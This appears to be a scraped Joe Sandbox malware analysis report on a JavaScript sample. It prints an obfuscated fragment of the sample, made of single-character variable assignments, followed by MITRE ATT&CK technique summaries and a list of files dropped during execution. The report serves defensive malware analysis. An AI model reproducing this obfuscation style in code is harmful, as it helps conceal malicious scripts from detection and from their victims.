1179	mphsdfa = "C";
1180	mphsdfa = "t";
1181	mphsdfa = "C";
1182	mphsdfa = "W";
1183	mphsdfa = "W";
1184	mphsdfa = "D";
1185	mphsdfa = "H";
1186	mphsdfa = "I";
1187	mphsdfa = "i";
1188	mphsdfa = "Q";
1189	mphsdfa = "i";
1190	mphsdfa = "a";
1191	mphsdfa = "w";
1192	mphsdfa = "e";
1193	mphsdfa = "i";
1194	mphsdfa = "D";
1195	mphsdfa = "f";
1196	mphsdfa = "i";
1197	mphsdfa = "X";
1198	mphsdfa = "Z";
1199	mphsdfa = "S";
1200	mphsdfa = "o";
1201	mphsdfa = "l";
1202	mphsdfa = "v";
1203	mphsdfa = "g";
1204	kaskgx = "G";
1205	kaskgx = "o";
1206	kaskgx = "i";
1207	kaskgx = "x";
1208	kaskgx = "s";
1209	kaskgx = "m";
1210	kaskgx = "o";
1211	kaskgx = "R";
1212	frqsd = "q";
1213	frqsd = "U";
1214	frqsd = "i";
1215	frqsd = "Y";
1216	frqsd = "j";
1217	frqsd = "v";
1218	frqsd = "X";
1219	frqsd = "a";
1220	frqsd = "E";
1221	frqsd = "C";
1222	frqsd = "d";
1223	frqsd = "l";
1224	frqsd = "A";
1225	frqsd = "J";
1226	frqsd = "K";
1227	frqsd = "s";
1228	frqsd = "s";
1229	frqsd = "e";
1230	frqsd = "o";
1231	frqsd = "B";
1232	frqsd = "l";
1233	frqsd = "N";
1234	frqsd = "V";
1235	frqsd = "u";
1236	frqsd = "A";
1237	frqsd = "U";
1238	frqsd = "v";
1239	frqsd = "G";
1240	frqsd = "j";
1241	frqsd = "i";
1242	frqsd = "J";
1243	frqsd = "/";
1244	gslacw = "e";
1245	gslacw = "H";
1246	gslacw = "L";
1247	gslacw = "b";
1248	gslacw = "Y";
1249	gslacw = "s";
1250	gslacw = "P";
1251	gslacw = "J";
1252	gslacw = "u";
1253	gslacw = "S";
1254	gslacw = "k";
1255	gslacw = "k";
1256	gslacw = "s";
1257	gslacw = "J";
1258	gslacw = "p";
1259	pecipnann = "k";
1260	pecipnann = "x";
1261	pecipnann = "B";
1262	pecipnann = "P";
1263	pecipnann = "i";
1264	pecipnann = "D";
1265	pecipnann = "o";
1266	pecipnann = "o";
1267	pecipnann = "E";
1268	pecipnann = "L";
1269	pecipnann = "a";
1270	pecipnann = "7";
1271	poplgiya = "d";
1272	poplgiya = "C";
1273	poplgiya = "a";
1274	poplgiya = "e";
1275	poplgiya = "n";
1276	poplgiya = "I";
1277	poplgiya = "y";
1278	poplgiya = "n";
1279	poplgiya = "w";
1280	poplgiya = "A";
1281	poplgiya = "L";
1282	poplgiya = "G";
1283	poplgiya = "p";
1284	poplgiya = "q";
1285	poplgiya = "D";
1286	poplgiya = "K";
1287	poplgiya = "w";
1288	poplgiya = "D";
1289	poplgiya = "z";
1290	poplgiya = "L";
1291	poplgiya = "q";
1292	poplgiya = "d";
1293	poplgiya = "G";
1294	poplgiya = "q";
1295	poplgiya = "k";
1296	poplgiya = "s";
1297	poplgiya = "S";
1298	poplgiya = "Q";
1299	poplgiya = "G";
1300	poplgiya = "O";
1301	poplgiya = "b";
1302	poplgiya = "E";
1303	poplgiya = "Z";
1304	poplgiya = "x";
1305	poplgiya = "P";
1306	poplgiya = "E";
1307	jqnzln = "X";
1308	jqnzln = "A";
1309	jqnzln = "c";
1310	jqnzln = "F";
1311	jqnzln = "B";
1312	jqnzln = "i";
1313	jqnzln = "o";
1314	jqnzln = "o";
1315	jqnzln = "z";
1316	jqnzln = "v";
1317	jqnzln = "M";
1318	jqnzln = "M";
1319	jqnzln = "m";
1320	jqnzln = "I";
1321	jqnzln = "D";
1322	jqnzln = "I";
1323	jqnzln = "w";
1324	jqnzln = "N";
1325	jqnzln = "r";
1326	jqnzln = "B";
1327	jqnzln = "t";
1328	jqnzln = "V";
1329	jqnzln = "u";
1330	fdfbt ( );	fdfbt() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 1231561673271419181.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\9ef699ce-4090-4fb7-b01a-4eede24834cd.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State~RF5af6fc.TMP (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\cdaf740d-b598-44aa-b997-0cbec6fa6db8.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Windows Analysis Report
1231561673271419181.js